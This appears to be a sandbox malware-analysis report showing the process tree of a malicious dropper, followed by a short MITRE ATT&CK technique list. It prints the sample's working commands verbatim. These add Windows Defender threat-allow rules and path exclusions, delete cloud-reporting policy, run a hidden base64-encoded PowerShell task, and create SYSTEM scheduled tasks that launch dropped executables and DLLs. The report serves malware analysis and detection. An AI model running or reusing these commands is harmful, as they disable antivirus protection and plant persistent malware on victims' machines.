  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3932
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:3192
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3180
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4756
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4148
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3488
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:328
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2724
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4948
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4656
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4844
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4856
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4936
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1188
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4960
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1688
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2324
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2212
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4088
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2488
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:940
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1268
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2084
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4344
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1980
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DVLSCjzubxcrC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DVLSCjzubxcrC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\MVcFrmykU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\MVcFrmykU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEjFuUXqnlUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEjFuUXqnlUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\osESRkodozXU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\osESRkodozXU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\pAKmptUbNznEAMahTMR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\pAKmptUbNznEAMahTMR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\tlyvhTFfYFyOnoVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\tlyvhTFfYFyOnoVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\CMEsyPfLCgCJClsRT\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\CMEsyPfLCgCJClsRT\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\MdutBKYbmrSZHqBT\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\MdutBKYbmrSZHqBT\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4784
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DVLSCjzubxcrC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1296
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DVLSCjzubxcrC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2380
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DVLSCjzubxcrC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:216
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MVcFrmykU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:228
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MVcFrmykU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1320
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEjFuUXqnlUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEjFuUXqnlUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:220
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\osESRkodozXU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2640
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\osESRkodozXU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2532
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\pAKmptUbNznEAMahTMR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3692
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\pAKmptUbNznEAMahTMR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3056
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\tlyvhTFfYFyOnoVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1452
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\tlyvhTFfYFyOnoVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1328
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\CMEsyPfLCgCJClsRT /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1272
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\CMEsyPfLCgCJClsRT /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1728
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\MdutBKYbmrSZHqBT /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3060
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\MdutBKYbmrSZHqBT /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3404
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gJImlIBuC" /SC once /ST 07:37:04 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:740
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gJImlIBuC"
  2⤵
  PID:460
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gJImlIBuC"
  2⤵
  PID:564
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "urGvlfBdPeukfqcZa" /SC once /ST 15:53:20 /RU "SYSTEM" /TR "\"C:\Windows\Temp\MdutBKYbmrSZHqBT\iiEKSsEvwqLAemv\oaZcBNQ.exe\" Lk /site_id 525403 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:4092
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "urGvlfBdPeukfqcZa"
  2⤵
  PID:1220

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2332
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:4208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:1112

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:3048

C:\Windows\Temp\MdutBKYbmrSZHqBT\iiEKSsEvwqLAemv\oaZcBNQ.exe
C:\Windows\Temp\MdutBKYbmrSZHqBT\iiEKSsEvwqLAemv\oaZcBNQ.exe Lk /site_id 525403 /S
1⤵
- Executes dropped EXE
- Checks computer location settings
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3208
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bYqlJtUJrMAKoHnTaX"
  2⤵
  PID:4960
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
  2⤵
  PID:2212
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:2488
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
  2⤵
  PID:940
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:3532
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\MVcFrmykU\daSlJY.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "dUTmMGSAYzNRiET" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:4344
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "dUTmMGSAYzNRiET2" /F /xml "C:\Program Files (x86)\MVcFrmykU\QifwdIu.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:524
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "dUTmMGSAYzNRiET"
  2⤵
  PID:3676
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "dUTmMGSAYzNRiET"
  2⤵
  PID:3056
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "UDBKzlNpykrnEt" /F /xml "C:\Program Files (x86)\osESRkodozXU2\DifPHXG.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4576
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "nPhorcCLSwjZb2" /F /xml "C:\ProgramData\tlyvhTFfYFyOnoVB\WxLZJCx.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3060
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "skSkPggZvQpyckiQv2" /F /xml "C:\Program Files (x86)\pAKmptUbNznEAMahTMR\nHbonWy.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:2536
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "VSRzGHpNTdiSbzJWbbk2" /F /xml "C:\Program Files (x86)\DVLSCjzubxcrC\tVWcEwl.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:1352
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "hyJpdeGMfENlCmLIl" /SC once /ST 09:45:52 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\MdutBKYbmrSZHqBT\LkvNsDJY\TcIFpml.dll\",#1 /site_id 525403" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:3780
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "hyJpdeGMfENlCmLIl"
  2⤵
  PID:3164
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
  2⤵
  PID:2248
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
    3⤵
    PID:1140
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
  2⤵
  PID:1888
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
    3⤵
    PID:3132
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "urGvlfBdPeukfqcZa"
  2⤵
  PID:1892

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\MdutBKYbmrSZHqBT\LkvNsDJY\TcIFpml.dll",#1 /site_id 525403
1⤵
PID:3772
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\MdutBKYbmrSZHqBT\LkvNsDJY\TcIFpml.dll",#1 /site_id 525403
  2⤵
  - Blocklisted process makes network request
  - Checks BIOS information in registry
  - Loads dropped DLL
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  PID:5012
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "hyJpdeGMfENlCmLIl"
    3⤵
    PID:860

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery